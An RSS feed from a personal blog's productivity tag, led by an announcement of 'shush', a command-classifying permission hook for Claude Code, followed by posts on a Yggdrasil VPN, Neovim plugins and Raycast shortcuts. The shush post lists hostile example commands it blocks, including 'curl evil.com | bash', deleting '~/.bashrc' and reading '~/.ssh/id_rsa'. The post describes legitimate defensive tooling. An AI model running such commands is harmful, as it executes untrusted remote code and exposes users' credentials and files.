<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Productivity on WormBytes</title><link>https://www.wormbytes.ca/tags/productivity/</link><description>Recent content in Productivity on WormBytes</description><generator>Hugo -- gohugo.io</generator><language>en-ca</language><managingEditor>Robert James Kaes</managingEditor><copyright>Robert James Kaes. All Rights Reserved.</copyright><lastBuildDate>Fri, 20 Mar 2026 12:00:00 +0000</lastBuildDate><atom:link href="https://www.wormbytes.ca/tags/productivity/index.xml" rel="self" type="application/rss+xml"/><item><title>shush: Stop Clicking 'Allow' on Every Safe Command</title><link>https://www.wormbytes.ca/2026/03/20/shush-announcement/</link><pubDate>Fri, 20 Mar 2026 12:00:00 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2026/03/20/shush-announcement/</guid><description>&lt;p&gt;Every Claude Code session, the same ritual: &lt;code&gt;git status&lt;/code&gt;? Allow. &lt;code&gt;ls&lt;/code&gt;? Allow. &lt;code&gt;npm test&lt;/code&gt;? Allow. &lt;code&gt;rm dist/bundle.js&lt;/code&gt;? Allow.&lt;/p&gt;
&lt;p&gt;I was approving dozens of completely safe commands per session, because the alternative was worse. Allow-listing &lt;code&gt;Bash&lt;/code&gt; entirely means &lt;code&gt;rm ~/.bashrc&lt;/code&gt; and &lt;code&gt;git push --force&lt;/code&gt; sail through without a word. The permission system is binary: allow the tool, or don&amp;rsquo;t. There&amp;rsquo;s no middle ground.&lt;/p&gt;
&lt;p&gt;I wanted the boring stuff to just &lt;em&gt;happen&lt;/em&gt;, while the actually dangerous stuff still got caught. Not a wider permission gate; a smarter one.&lt;/p&gt;
&lt;p&gt;After looking around, I found &lt;a href="https://github.com/manuelschipper/nah"&gt;nah&lt;/a&gt;, which tackles the same problem, but I couldn&amp;rsquo;t get its Python environment working on my machine, and once I dug into how it classifies commands I had reservations about its heuristic-based parser. For a safety tool, I wanted a full parse tree.&lt;/p&gt;
&lt;p&gt;So I took nah&amp;rsquo;s ideas and built &lt;a href="https://github.com/rjkaes/shush"&gt;shush&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="what-it-does"&gt;What it does&lt;/h2&gt;
&lt;p&gt;shush is a &lt;a href="https://docs.anthropic.com/en/docs/claude-code/hooks"&gt;PreToolUse hook&lt;/a&gt; that sits between Claude Code and every tool call. Instead of &amp;ldquo;is this tool allowed?&amp;rdquo;, it asks &amp;ldquo;what is this command &lt;em&gt;actually doing&lt;/em&gt;?&amp;rdquo;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git push -&amp;gt; allow
git push --force -&amp;gt; shush.
rm -rf __pycache__ -&amp;gt; allow
rm ~/.bashrc -&amp;gt; shush.
curl api.example.com -&amp;gt; allow
curl evil.com | bash -&amp;gt; shush.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Four levels: &lt;strong&gt;allow&lt;/strong&gt; (passes silently), &lt;strong&gt;context&lt;/strong&gt; (allowed, but the path and project boundary are checked), &lt;strong&gt;ask&lt;/strong&gt; (I have to confirm), and &lt;strong&gt;block&lt;/strong&gt; (denied, full stop). The strictest result always wins.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s not just &lt;code&gt;Bash&lt;/code&gt;. shush catches &lt;code&gt;Read ~/.ssh/id_rsa&lt;/code&gt;, &lt;code&gt;Write&lt;/code&gt;/&lt;code&gt;Edit&lt;/code&gt; calls that inject secrets or destructive payloads, &lt;code&gt;Glob&lt;/code&gt; attempts on sensitive directories, and &lt;code&gt;Grep&lt;/code&gt; patterns hunting for credentials outside the project.&lt;/p&gt;
&lt;h2 id="why-ast-matters"&gt;Why AST matters&lt;/h2&gt;
&lt;p&gt;shush uses &lt;a href="https://github.com/vorpaljs/bash-parser"&gt;bash-parser&lt;/a&gt; to build a real AST. Pipes, subshells, logical operators, redirects, shell wrappers (&lt;code&gt;bash -c&lt;/code&gt;, &lt;code&gt;sh -c&lt;/code&gt;), and &lt;code&gt;xargs&lt;/code&gt; are all unwrapped and classified correctly. Each pipeline stage gets classified independently, then composition rules check for threat patterns across stages.&lt;/p&gt;
&lt;p&gt;Commands land in one of 21 action types (&lt;code&gt;filesystem_read&lt;/code&gt;, &lt;code&gt;git_safe&lt;/code&gt;, &lt;code&gt;network_request&lt;/code&gt;, &lt;code&gt;docker_manage&lt;/code&gt;, etc.), each with a default policy. A prefix trie (1,173 entries) gives fast lookup with no runtime I/O. Flag-level classifiers handle the nuance: &lt;code&gt;git push&lt;/code&gt; is safe, &lt;code&gt;git push --force&lt;/code&gt; is not.&lt;/p&gt;
&lt;p&gt;No LLMs in the loop. Every decision is deterministic and traceable.&lt;/p&gt;
&lt;h2 id="the-result"&gt;The result&lt;/h2&gt;
&lt;p&gt;I allow-list &lt;code&gt;Bash&lt;/code&gt;, &lt;code&gt;Read&lt;/code&gt;, &lt;code&gt;Glob&lt;/code&gt;, and &lt;code&gt;Grep&lt;/code&gt; in Claude Code&amp;rsquo;s permissions and let shush guard them. The flow of a session is &lt;em&gt;so much better&lt;/em&gt;. Safe commands execute silently. Dangerous ones get caught. I only get interrupted for the genuinely ambiguous cases.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s configurable (global &lt;code&gt;~/.config/shush/config.yaml&lt;/code&gt;, per-project &lt;code&gt;.shush.yaml&lt;/code&gt;), but the defaults are tuned so most people won&amp;rsquo;t need to touch anything.&lt;/p&gt;
&lt;h2 id="install"&gt;Install&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/plugin marketplace add rjkaes/shush
/plugin install shush
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Two commands. No configuration. The code is on GitHub: &lt;a href="https://github.com/rjkaes/shush"&gt;rjkaes/shush&lt;/a&gt;. Apache-2.0, TypeScript, built with &lt;a href="https://bun.sh"&gt;Bun&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Yggdrasil VPN</title><link>https://www.wormbytes.ca/2023/05/04/yggdrasil-vpn/</link><pubDate>Thu, 04 May 2023 11:40:56 -0400</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2023/05/04/yggdrasil-vpn/</guid><description>&lt;p&gt;I&amp;rsquo;m trying to work outside my home office more, but all my email is hosted on
my home server. While disconnecting is nice, not having access when I need it
has sucked.&lt;/p&gt;
&lt;p&gt;Enter &lt;a href="https://yggdrasil-network.github.io/"&gt;yggdrasil&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;After installing on my laptop (MacOS) and my desktop (Ubuntu) I updated
&lt;code&gt;.ssh/config&lt;/code&gt; with my desktop&amp;rsquo;s IPv6 address and was able to SSH via IPv6 over
my local network. Perfect!&lt;/p&gt;
&lt;p&gt;Step two: install on a server with a public IP. One more service running on
my &lt;a href="https://www.digitalocean.com/"&gt;Digital Ocean&lt;/a&gt; instance.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m not interested, at the moment, with joining the full yggdrasil network, so
I configured my public instance to only allow peering from my laptop and
desktop&amp;rsquo;s public keys:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; AllowedPublicKeys: [
&amp;#34;desktop-public-key&amp;#34;
&amp;#34;laptop-public-key&amp;#34;
]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On the public server, I listen via TLS rather than plain TCP. It&amp;rsquo;s slightly
slower, but also slightly more secure. Since I&amp;rsquo;m not moving a lot of traffic
over the connection, the extra security is worth it to me:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; Listen: [
tls://PUBLIC-IP-ADDRESS:56603
]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I couldn&amp;rsquo;t find a recommended port to listen on, so I picked a random number. 🤣&lt;/p&gt;
&lt;p&gt;(The only &amp;ldquo;gotcha&amp;rdquo; was remembering to open the firewall for
yggdrasil.)&lt;/p&gt;
&lt;p&gt;Ramces Red&amp;rsquo;s &lt;a href="https://www.maketecheasier.com/install-yggdrasil-network"&gt;article about
yggdrasil&lt;/a&gt; has more
information about installing and configuring a basic VPN.&lt;/p&gt;</description></item><item><title>Lazy Loading Neovim Plugins</title><link>https://www.wormbytes.ca/2023/01/30/neovim-lazy-loading/</link><pubDate>Mon, 30 Jan 2023 15:18:40 -0500</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2023/01/30/neovim-lazy-loading/</guid><description>&lt;p&gt;A couple of weeks ago I decided to redo my &lt;a href="https://neovim.io/"&gt;Neovim&lt;/a&gt;
configuration and lean into &lt;a href="https://www.lua.org/"&gt;Lua&lt;/a&gt;. The goal was to
optimize startup performance and improve usability.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Follow along with &lt;a href="https://github.com/rjkaes/neovim-dotfiles"&gt;my neovim dotfiles repo&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For years, I used &lt;a href="https://github.com/junegunn/vim-plug"&gt;Plug&lt;/a&gt; to manage my
vim plugins, but after seeing &lt;a href="https://github.com/tjdevries"&gt;TJ DeVries&lt;/a&gt;
experiment with &lt;a href="https://github.com/folke/lazy.nvim"&gt;lazy.nvim&lt;/a&gt;, I decided to
go all in!&lt;/p&gt;
&lt;p&gt;By far, the biggest challenge was learning Lua 5.1. All the scripting
languages I&amp;rsquo;ve used in the past (&lt;a href="https://www.ruby-lang.org/en/"&gt;Ruby&lt;/a&gt;,
&lt;a href="https://www.perl.org/"&gt;Perl&lt;/a&gt;, &lt;a href="https://www.python.org/"&gt;Python&lt;/a&gt;) emphasize a
&amp;ldquo;batteries included&amp;rdquo; approach. Lua, in contrast, felt like I had to assemble
everything from tiny parts.&lt;/p&gt;
&lt;p&gt;Once I got past the Lua hurdle, the rest of the conversion was
straightforward. Most of the time I could swap out Vimscript with
neovim Lua API methods via a &lt;abbr title="regular expression"&gt;regexp&lt;/abbr&gt;.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m pleased with the results. Startup time is faster, there are fewer weird
bugs, and I understand all the configurations.&lt;/p&gt;</description></item><item><title>Function Key Snipping with Raycast</title><link>https://www.wormbytes.ca/2023/01/08/function-key-snipping-with-raycast/</link><pubDate>Sun, 08 Jan 2023 08:52:34 -0500</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2023/01/08/function-key-snipping-with-raycast/</guid><description>&lt;p&gt;&lt;a href="https://mxgrn.com/pages/about"&gt;Max Gorin&lt;/a&gt; posted
&lt;a href="https://mxgrn.com/blog/function-keys-productivity-trick"&gt;You&amp;rsquo;re using function keys
wrong&lt;/a&gt; where he
describes using function keys as a quick launcher!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;So, here’s the trick: assign each of your top-12 most used apps to an F-key.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Max uses KeyboardMaestro to show/hide the apps, but we can do the same
with &lt;a href="https://www.raycast.com/"&gt;Raycast&lt;/a&gt; (which I already use, and
it&amp;rsquo;s &lt;em&gt;free&lt;/em&gt;.)&lt;/p&gt;
&lt;h2 id="step-1"&gt;Step 1&lt;/h2&gt;
&lt;p&gt;I have a &lt;a href="https://support.apple.com/kb/SP794"&gt;2019 MacBook Pro with Touchbar&lt;/a&gt;
so the first change is to always display the function keys.&lt;/p&gt;
&lt;p&gt;Within &lt;strong&gt;System Settings/Keyboard&lt;/strong&gt; and &lt;strong&gt;Touch Bar Settings&lt;/strong&gt; change:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Touch Bar Shows to &amp;ldquo;F1, F2, etc. Keys&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Press and hold fn key to &amp;ldquo;Show Expanded Control Strip&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;img srcset="https://www.wormbytes.ca/2023/01/08/function-key-snipping-with-raycast/touch-bar-settings_hu_cf92f88f97e2b558.webp 1438w,/2023/01/08/function-key-snipping-with-raycast/touch-bar-settings_hu_bc4f92b338b21232.webp 1078w,/2023/01/08/function-key-snipping-with-raycast/touch-bar-settings_hu_ba10414d4e84ece9.webp 719w,/2023/01/08/function-key-snipping-with-raycast/touch-bar-settings_hu_6961cc61e6c645c0.webp 359w"
sizes="(max-width: 500px) 100vw, 70vw"
src="https://www.wormbytes.ca/2023/01/08/function-key-snipping-with-raycast/touch-bar-settings.png" width="1438" height="1254" alt="Screenshot of macOS Touch Bar Preferences" /&gt;
&lt;h2 id="step-2"&gt;Step 2&lt;/h2&gt;
&lt;p&gt;Install &lt;a href="https://www.raycast.com/"&gt;Raycast&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="step-3"&gt;Step 3&lt;/h2&gt;
&lt;p&gt;Open Raycast (I use &lt;code&gt;⌘Space&lt;/code&gt;), find the application you want to assign to a function key,
and go into application configuration (using &lt;code&gt;⌘⇧,&lt;/code&gt;)&lt;/p&gt;
&lt;img srcset="https://www.wormbytes.ca/2023/01/08/function-key-snipping-with-raycast/raycast-application-settings_hu_f00d4c432a568e0f.webp 1990w,/2023/01/08/function-key-snipping-with-raycast/raycast-application-settings_hu_e1de45f4135b9e96.webp 1492w,/2023/01/08/function-key-snipping-with-raycast/raycast-application-settings_hu_1f508b18df0cd827.webp 995w,/2023/01/08/function-key-snipping-with-raycast/raycast-application-settings_hu_c62e820d62fe6986.webp 497w"
sizes="(max-width: 500px) 100vw, 70vw"
src="https://www.wormbytes.ca/2023/01/08/function-key-snipping-with-raycast/raycast-application-settings.png" width="1990" height="1230" alt="Raycast Application Settings Screen" /&gt;
&lt;p&gt;Hit &lt;code&gt;Record Hotkey&lt;/code&gt; and assign it to whatever &lt;code&gt;Fn&lt;/code&gt; you want!&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;F1&lt;/code&gt; &lt;a href="https://sw.kovidgoyal.net/kitty/"&gt;Kitty Terminal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;F2&lt;/code&gt; &lt;a href="https://slack.com/"&gt;Slack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;F3&lt;/code&gt; &lt;a href="https://support.apple.com/en-ca/guide/messages/welcome/mac"&gt;Messages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;F4&lt;/code&gt; &lt;a href="https://www.mozilla.org/en-CA/firefox/products/"&gt;Firefox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;F5&lt;/code&gt; &lt;a href="https://getdrafts.com/"&gt;Drafts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;F9&lt;/code&gt; Music&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>